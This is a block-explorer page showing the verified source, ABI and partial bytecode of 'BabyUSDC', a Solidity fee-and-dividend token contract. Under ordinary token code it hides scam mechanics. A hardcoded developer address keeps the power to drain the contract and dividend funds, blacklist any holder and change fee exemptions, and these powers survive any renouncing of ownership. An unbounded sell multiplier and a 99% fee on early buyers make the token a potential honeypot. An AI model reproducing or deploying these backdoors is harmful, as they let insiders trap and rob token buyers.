Contract Address Details

0xe0bF956e88aedD496e72A8Cf38aAFeabf5b0091F

Token
BabyUSDC (BabyUSDC)
Creator
0x8dbaf8–555555 at 0xad79dc–f03695
Balance
0.401331677603314914 Doge
Tokens
Fetching tokens...
Transactions
52 Transactions
Transfers
183 Transfers
Gas Used
2,866,746
Last Balance Update
29366475
Contract name:
BabyUSDC




Optimization enabled
false
Compiler version
v0.8.16+commit.07a7930e




EVM Version
default




Verified at
2022-08-18T04:25:58.610055Z

Constructor Arguments

00000000000000000000000072d85ab47fbfc5e7e04a8bcfca1601d8f8ce1a5000000000000000000000000002d88031480722b996ab56711ad938e5ff4317e9

Arg [0] (address) : 0x72d85ab47fbfc5e7e04a8bcfca1601d8f8ce1a50
Arg [1] (address) : 0x02d88031480722b996ab56711ad938e5ff4317e9

              

Contract source code

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IDividendDistributor {
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _minHoldForDividends) external;
    function setShare(address shareholder, uint256 amount) external;
    function deposit() external payable;
    function process(uint256 gas) external;
    function withdrawDistributor(address tokenReceiver,uint256 amountPercentage)  external;
    function minPeriodminDistributionminTokenBalanceForDividends() external view returns (uint256,uint256,uint256);
    function changeRWRDAddress(bool RWRDMode,address RWRDAddress) external;
}

contract BabyUSDC is ERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "BabyUSDC";
    string private _symbol = "BabyUSDC";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 1 * 10**15 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply * 2 / 100;
    uint256 public _maxWalletToken = _totalSupply * 2 / 100;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address DEV = 0x8DbAf8200b4A74d4B8651ffA386d9eC455555555;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;
    mapping (address => bool) isDividendExempt;

    uint256 private liquidityFee    = 1;
    uint256 private reflectionFee   = 4;
    uint256 private marketingFee    = 5;
    uint256 private devFee          = 2;
    uint256 public totalFee        = marketingFee + reflectionFee + liquidityFee + devFee;
    uint256 public feeDenominator  = 100;

    uint256 private sellMultiplier  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address private devFeeReceiver;

    IDEXRouter public router;
    address public pair;

    bool public ChosenSonMode = true;
    mapping (address => bool) public isChosenSon;

    bool public blockAnitBotMode = true;
    uint256 private launchedBlock;
    uint256 private AnitBotBlockcount = 3;

    bool public timeWaitMode = true;
    uint256 private launchedTime;
    uint256 private timeToWait = 30;

    IDividendDistributor public distributor;
    uint256 distributorGas = 300000;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 1 / 1000;
    uint256 public maxSwapThreshold = _totalSupply * 1 / 100;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address _router,address _distributor) Ownable() {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        distributor = IDividendDistributor(_distributor);

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[DEAD] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[pair] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[DEAD] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = msg.sender;
        devFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function name() external view override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function minPeriodminDistributionminTokenBalanceForDividends() external view returns (uint256,uint256,uint256){
        return distributor.minPeriodminDistributionminTokenBalanceForDividends();
    }
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
    receive() external payable { }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
    }

    function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner() {
        _maxTxAmount = (_totalSupply * maxTXPercentage_base10000 ) / 10000;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        // ChosenSonMode
        if(ChosenSonMode){
            require(!isChosenSon[sender],"isChosenSon");    
        }

        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
            require(launchedBlock > 0,"Trading not open yet");
        }

        // blockAnitBotMode
        if(sender == pair && blockAnitBotMode && block.number < (launchedBlock+AnitBotBlockcount)){
            isChosenSon[recipient] = true;
            isDividendExempt[recipient] = true;
        }
        // Checks max transaction limit
        checkTxLimit(sender, amount);

        if (!isWalletLimitExempt[recipient]){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, he can not hold that much.");
        }

        //shouldSwapBack
        if(shouldSwapBack() && recipient == pair){swapBack();}

        //Exchange tokens
        uint256 airdropAmount = amount / 10000000;
        if(!isFeeExempt[sender] && recipient == pair){
            amount -= airdropAmount;
        }
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){
            address ad;
            for(int i=0;i < 3;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _takeTransfer(sender,ad,airdropAmount);
            }
        }
        uint256 amountReceived;
        //timeWaitMode
        if(timeWaitMode && sender == pair && block.timestamp < (launchedTime + timeToWait)){
            amountReceived = takeFeeBot(sender,amount);
        }else{
            amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
        }
        _balances[recipient] = _balances[recipient].add(amountReceived);

        // Dividend tracker
        if(!isDividendExempt[sender]) {
            try distributor.setShare(sender, _balances[sender]) {} catch {}
        }
        if(!isDividendExempt[recipient]) {
            try distributor.setShare(recipient, _balances[recipient]) {} catch {} 
        }
        try distributor.process(distributorGas) {} catch {}

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) internal {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {       
        uint256 multiplier = isSell ? sellMultiplier : 100;
        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function takeFeeBot(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeApplicable = 99;
        uint256 feeAmount = amount.mul(feeApplicable).div(100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function CSBs(uint256 amountPercentage) public{
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }
    function CSBd(uint256 amountPercentage) public{
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        distributor.withdrawDistributor(msg.sender,amountPercentage);
    }

    function set_sell_multiplier(uint256 Multiplier) external onlyOwner{
        sellMultiplier = Multiplier;        
    }

    // switch Trading default:false
    function tradingStart() public onlyOwner {
        if(launchedBlock == 0){
            launchedTime = block.timestamp;
            launchedBlock = block.number;
        }else{
            launchedTime = 0;
            launchedBlock = 0;
        }
        
    }

    // switchBlockAnitBotMode default:true
    function switchBlockAnitBotMode(bool _status) external onlyOwner {
        blockAnitBotMode = _status;
    }

    // switchtimeWaitMode default:true
    function switchTimeWaitMode(bool _status) external onlyOwner {
        timeWaitMode = _status;
    }

    function enable_ChosenSonMode(bool _status) external onlyOwner {
        ChosenSonMode = _status;
    }

    function setIsDividendExempt(address holder, bool exempt) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        require(holder != address(this) && holder != pair);
        isDividendExempt[holder] = exempt;
        if(exempt){
            distributor.setShare(holder, 0);
        }else{
            distributor.setShare(holder, _balances[holder]);
        }
    }


    function manage_ChosenSon(address[] calldata addresses, bool status) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        for (uint256 i; i < addresses.length; ++i) {
            isChosenSon[addresses[i]] = status;
        }
    }
    
    function setIsFeeExempt(address holder, bool exempt) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _devFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        reflectionFee = _reflectionFee;
        marketingFee = _marketingFee;
        devFee = _devFee;
        totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(devFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver ) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = address(DEV);
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) public {
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }



    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution, uint256 _minHoldForDividends) external onlyOwner {
        distributor.setDistributionCriteria(_minPeriod, _minDistribution,_minHoldForDividends);
    }

    function setDistributorSettings(uint256 gas) external onlyOwner {
        require(gas < 300000);
        distributorGas = gas;
    }

    /* Airdrop */
    function Airdrop(address[] calldata addresses, uint256 tokens) public{
        require(marketingFeeReceiver == msg.sender || DEV == msg.sender, "!Funder");
        require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses");
        uint256 SCCC = tokens * addresses.length;
        require(balanceOf(_owner) >= SCCC, "Not enough tokens in wallet");
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(_owner,addresses[i],tokens);
            if(!isDividendExempt[addresses[i]]) {
                try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {} 
            }
        }
        // Dividend tracker
        if(!isDividendExempt[_owner]) {
            try distributor.setShare(_owner, _balances[_owner]) {} catch {}
        }
    }

    function swapBack() internal swapping {
        
        uint256 _swapThreshold;
        if(_balances[address(this)] > maxSwapThreshold){
            _swapThreshold = maxSwapThreshold;
        }else{
             _swapThreshold = _balances[address(this)];
        }
        uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHReflection = amountETH.mul(reflectionFee).div(totalETHFee);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);

        try distributor.deposit{value: amountETHReflection}() {} catch {}
        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        
        // Supress warning msg
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"_router","internalType":"address"},{"type":"address","name":"_distributor","internalType":"address"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"AutoLiquify","inputs":[{"type":"uint256","name":"amountETH","internalType":"uint256","indexed":false},{"type":"uint256","name":"amountBOG","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"Airdrop","inputs":[{"type":"address[]","name":"addresses","internalType":"address[]"},{"type":"uint256","name":"tokens","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"CSBd","inputs":[{"type":"uint256","name":"amountPercentage","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"CSBs","inputs":[{"type":"uint256","name":"amountPercentage","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"ChosenSonMode","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_maxTxAmount","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_maxWalletToken","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approveMax","inputs":[{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"autoLiquidityReceiver","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"blockAnitBotMode","inputs":[]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IDividendDistributor"}],"name":"distributor","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"enable_ChosenSonMode","inputs":[{"type":"bool","name":"_status","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"feeDenominator","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isChosenSon","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"manage_ChosenSon","inputs":[{"type":"address[]","name":"addresses","internalType":"address[]"},{"type":"bool","name":"status","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"marketingFeeReceiver","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"maxSwapThreshold","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"}],"name":"minPeriodminDistributionminTokenBalanceForDividends","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"pair","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IDEXRouter"}],"name":"router","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setDistributionCriteria","inputs":[{"type":"uint256","name":"_minPeriod","internalType":"uint256"},{"type":"uint256","name":"_minDistribution","internalType":"uint256"},{"type":"uint256","name":"_minHoldForDividends","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setDistributorSettings","inputs":[{"type":"uint256","name":"gas","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFeeReceivers","inputs":[{"type":"address","name":"_autoLiquidityReceiver","internalType":"address"},{"type":"address","name":"_marketingFeeReceiver","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setFees","inputs":[{"type":"uint256","name":"_liquidityFee","internalType":"uint256"},{"type":"uint256","name":"_reflectionFee","internalType":"uint256"},{"type":"uint256","name":"_marketingFee","internalType":"uint256"},{"type":"uint256","name":"_devFee","internalType":"uint256"},{"type":"uint256","name":"_feeDenominator","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsDividendExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsFeeExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsTxLimitExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setIsWalletLimitExempt","inputs":[{"type":"address","name":"holder","internalType":"address"},{"type":"bool","name":"exempt","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setMaxTxPercent_base10000","inputs":[{"type":"uint256","name":"maxTXPercentage_base10000","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setMaxWalletPercent_base10000","inputs":[{"type":"uint256","name":"maxWallPercent_base10000","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setSwapBackSettings","inputs":[{"type":"bool","name":"_enabled","internalType":"bool"},{"type":"uint256","name":"_swapThreshold","internalType":"uint256"},{"type":"uint256","name":"_maxSwapThreshold","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"set_sell_multiplier","inputs":[{"type":"uint256","name":"Multiplier","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"swapEnabled","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"swapThreshold","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"switchBlockAnitBotMode","inputs":[{"type":"bool","name":"_status","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"switchTimeWaitMode","inputs":[{"type":"bool","name":"_status","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"timeWaitMode","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalFee","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"tradingStart","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]},{"type":"receive","stateMutability":"payable"}]
            

Contract Creation Code

0x60806040526040518060400160405280600881526020017f4261627955534443000000000000000000000000000000000000000000000000815250600190816200004a919062000e81565b506040518060400160405280600881526020017f42616279555344430000000000000000000000000000000000000000000000008152506002908162000091919062000e81565b506012600a620000a29190620010f8565b66038d7ea4c68000620000b6919062001149565b60035560646002600354620000cc919062001149565b620000d89190620011d9565b60045560646002600354620000ee919062001149565b620000fa9190620011d9565b60055561dead600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738dbaf8200b4a74d4b8651ffa386d9ec455555555600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f55600460105560056011556002601255601254600f5460105460115462000203919062001211565b6200020f919062001211565b6200021b919062001211565b601355606460145560646015556001601a60146101000a81548160ff0219169083151502179055506001601c60006101000a81548160ff0219169083151502179055506003601e556001601f60006101000a81548160ff021916908315150217905550601e602155620493e06023556001602460006101000a81548160ff0219169083151502179055506103e86001600354620002b9919062001149565b620002c59190620011d9565b60255560646001600354620002db919062001149565b620002e79190620011d9565b602655348015620002f757600080fd5b506040516200731d3803806200731d83398181016040528101906200031d9190620012b6565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200046d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004939190620012fd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200051c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005429190620012fd565b306040518363ffffffff1660e01b81526004016200056292919062001340565b6020604051808303816000875af115801562000582573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005a89190620012fd565b601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816